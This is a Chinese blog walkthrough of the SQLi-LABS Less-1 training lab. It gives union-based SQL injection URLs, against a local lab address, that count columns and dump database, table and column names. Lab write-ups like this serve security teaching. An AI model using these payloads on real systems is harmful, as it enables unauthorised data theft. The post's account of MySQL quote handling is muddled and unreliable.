1.尝试报错我们在1之后加上‘,根据反馈信息1’后面多了一个‘所以我们想办法闭合用 'or 1=1 --+。

2.接下来我们进行Order by 对前面的数据进行排序(http://192.168.83.129/sqli-labs-master/Less-1/?id=1’ order by 3 --+),我们用order by 3 --+发现数据回显正常,但是我们发现用order by 4 --+数据回显不正常。 因此数据有三列。然后我们用使用union select 1,2,3联合查询语句查看页面是否有显示位。

****** ## 在这里我们补充一下:

1)什么是显示位:
我们在进行手工SQL注入的时候会用到ORDER BY 查询列数,然后通过UNION SELECT爆出在网页中的显示位。这个显示位指的是网页中能够显示数据的位置。
举例来说,比如我们通过ORDER BY命令知道了表的列数为11。然后再使用UNION SELECT 1,2,3…,11 from table,网页中显示了信息8,那么说明网页只能够显示第8列中信息,不能显示其他列的信息。也可以理解为网页只开放了8这个窗口,你想要查询数据库信息就必须要通过这个窗口。所以如果我们想要知道某个属性的值,比如admin,就要把admin属性放到8的位置上,这样就能通过第8列爆出admin的信息
2)关于union查询:
使用union联合查询的前提是必须要有显示位,union可合并两个或多个select语句的结果集,前提是两个select必有相同列、且各列的数据类型也相同。当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的 union 的数据。这里还要注意一点的就是如果我们让union之前的id=1,这时候会显示id=1的信息并不会回显union之后的select信息,但是如果我们是id=-1此时不会显示id=1的信息而会显示union之后的信息。
union简介
union操作符用于合并两个或者多个select语句的结果集。
ps: union内部的select语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条select语句中的列的顺序必须相同。
默认情况,union操作符选取不同的值。如果允许重复的值,请使用union all
union注入条件
1.只有最后一个select子句允许有order by
2.只有最后一个select子句允许有limit
3 .只要union连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果
4.注入点页面有回显

3)关于MySQL的语法问题(""):
http://192.168.83.129/sqli-labs-master/Less-1/?id=1’ or 1=1 --+ 我们在尝试这条语句之后发现页面能正常显示,那么我们在尝试这条语句之后是也能正常显示?http://192.168.83.129/sqli-labs-master/Less-1/?id=1’’ 答案是肯定的,注意我们发现在1之后多了两个’’,呢么我们就来补充一下:
我们在原来的基础上再继续输入多一个引号,也就是“1’’”。
这时候我们看一下查询语句
select firstname,surname from users where id = ‘1’’’;
这时候得讲一个mysql的语法,

在where语句中,当出现多个字符串的时候,“=”将会选择优先级最高的一个,优先级是从左到右,依次降低的!也就是离“=”最近的一个。我们来看几个例子。第一个是和我们上面类似的sql查询语句select * from users where user_id = '1''';第二个是来阐明我们这个优先级的,select * from users where user_id = '1''2';可以看到,出来的结果还是和user_id=1一样。我们再看一个长长的,select * from users where user_id = '1''2''abc''efg';事实胜于雄辩,可以看到结果还是和上面的一样。也就是说‘’‘等价于 ’ or  1=1 --+

3.查出了显示位之后,我们也进行了查看列数,可知道当前数据库有三列。因此我们可以利用回显查看数据版本,数据名称等等。注意我们再利用联合查询之后,1是不能回显的只能回显2,3.所以 http://192.168.83.129/sqli-labs-master/Less-1/?id=-1‘union select database(),version(),3–+ 是不正确的.所以我们利用http://192.168.83.129/sqli-labs-master/Less-1/?id=-1%27%20%20union%20select%201,version(),database()–+ 爆出数据版本,当前数据库名称。
4.接下来爆出数据库
192.168.83.129/sqli-labs-master/Less-1/?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata–+

****** ## 在这里我们看一下两种爆数据库的区别:

http://192.168.83.129/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database()--+ 与
http://192.168.83.129/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+ 第一这是爆出当前的数据库,而第二个爆出的是所有的数据库。在使用了GROUP_CONCAT后,会将所有的数据合并在一起,limit是没有任何效果的。我们查看第一次报错:

可以看出在查询语句中出现了limit限制,因此我们在第二种语句爆出数据库的时候并不会爆出所有的数据库,所以我们用group_concat…
5.接下来我们爆出表名字:
http://192.168.83.129/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

6.爆出字段名字
http://192.168.83.129/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+


7.爆出字段
至此,渗透结束。

sql-lib注入天书-Less-1相关推荐

  1. SQL注入天书(SQLi-LABS)搭建

    SQL注入天书(SQLi-LABS)搭建: 安装SQLi-LABS需要准备相应的环境,推荐使用phpstudy软件,搭建也很快. SQLi-LABS下载地址:https://download.csdn ...

  2. SQL注入天书SQLi-LABS(Less1-7)

    SQL注入天书SQLi-LABS(Less1-7) 往期回顾: SQLi-LABS搭建教程:SQL注入天书(SQLi-LABS)搭建 文章目录 SQL注入天书SQLi-LABS(Less1-7) 一. ...

  3. mysql注入天书(一)Basic Challenges

    [独家连载]mysql注入天书(一)Basic Challenges lcamry / 2016-11-11 06:16:00 / 浏览数 19798 <span class="con ...

  4. SQL防注入程序 v1.0

    /// ***************C#版SQL防注入程序 v1.0************ /// *使用方法: /// 一.整站防注入(推荐) /// 在Global.asax.cs中查找App ...

  5. 不为人知的动网7.1 SQL版注入漏洞

    文章难易度:★★★ 文章阅读点:动网7.1 SQL版最新注入漏洞的详细利用以及如何在后台获取Webshell 话说上期X档案刊登了动网8.0 SQL版最新注入漏洞的文章,不知大家都掌握了没有,令人兴奋 ...

  6. 关于SQL漏洞注入(Ado.Net)

    SQL漏洞注入是常见的一种攻击方式,我们可以通过一些简单的方式来预防.看一下我们经常写的代码: 1: /// <summary> 2: /// 不安全的登录代码 3: /// </s ...

  7. SQL 登录注入脚本_常见web安全问题,SQL注入、XSS、CSRF,基本原理以及如何防御...

    1.SQL注入 原理: 1).SQL命令可查询.插入.更新.删除等,命令的串接.而以分号字元为不同命 令的区别.(原本的作用是用于SubQuery或作为查询.插入.更新.删除--等 的条件式) 2). ...

  8. 方立勋_30天掌握JavaWeb_JDBC、SQL防注入(一)

    JDBC简介 数据库驱动 SUN公司为了简化.统一对数据库的操作,定义了一套Java操作数据库的规范,称之为JDBC. JDBC全称为:Java Data Base Connectivity(java ...

  9. python sql注入脚本_python辅助sql手工注入猜解数据库案例分析

    发现存在sql注入漏洞 简单一点可以直接用sqlmap工具暴库 但是如果想深入理解sql注入的原理,可以尝试手工注入,配合python脚本实现手工猜解数据库 首先hachbar开启 获取cms登录后的 ...

  10. sql server注入_SQL注入:SQL Server中的介绍和预防方法

    sql server注入 A SQL injection attack is one of the most commonly used hacking techniques. It allows h ...

最新文章

  1. 第十六周程序阅读(1)
  2. gui窗口遮挡算法_基于 C 语言开发的 GUI 框架
  3. 正确理解python中二分查找
  4. 大牛的距离(笑cry)精简算法
  5. oracle11g ora 29927,Oracle11gR2使用RMANDuplicate复制数据库
  6. tracert和traceroute使用
  7. 认识Linux系统中的inode,硬链接和软链接
  8. MSP430杂谈--AD7745硬件IIC驱动与模拟IIC驱动
  9. SenchaTouch中出现数据覆盖 以及 “Cannot call method 'setData' of nul”l错误的可能原因
  10. 懒人修仙传ce修改方法_专访|《凡人修仙传》原著作者忘语:“韩老魔”原型是我...
  11. java存储整数,用于存储整数数值的是 JAVA四种整数数据类型的取值范围分别是多少...
  12. file* linux,Linux基础——file命令与magic file
  13. mysql数据库导入导出sql文件
  14. java 虚拟机内存修改_Java虚拟机内存参数设置
  15. 《战地风云2042》游戏评测,云游戏走起
  16. STEP 7-MicroWIN SMART 上传时搜索不到PLC
  17. 【免费】STEAM下载地址在此,千万别被垃圾网站骗了
  18. 电阻屏和电容屏的区别
  19. 小程序体验版无法显示内容
  20. 智慧屏新品尝鲜:精致机身旗舰声画

热门文章

  1. 关于一个基于http的人人刷人气工具
  2. FreeRTOS(一)简介与源码下载
  3. Eclipse Validating(验证配置文件)比较慢,去掉Validating
  4. kala - あなたと
  5. 计算机科学导论作业大纲,《计算机科学导论》课程复习大纲与综合练习题.doc...
  6. [LeetCode]--387. First Unique Character in a String
  7. 一代歌王迈克尔.杰克逊去世
  8. 关于计算机网络,你要知道的基础知识(典藏版)
  9. 有意思的MyHeritage
  10. 智能车四轮组打工日记(一)——主板的硬件设计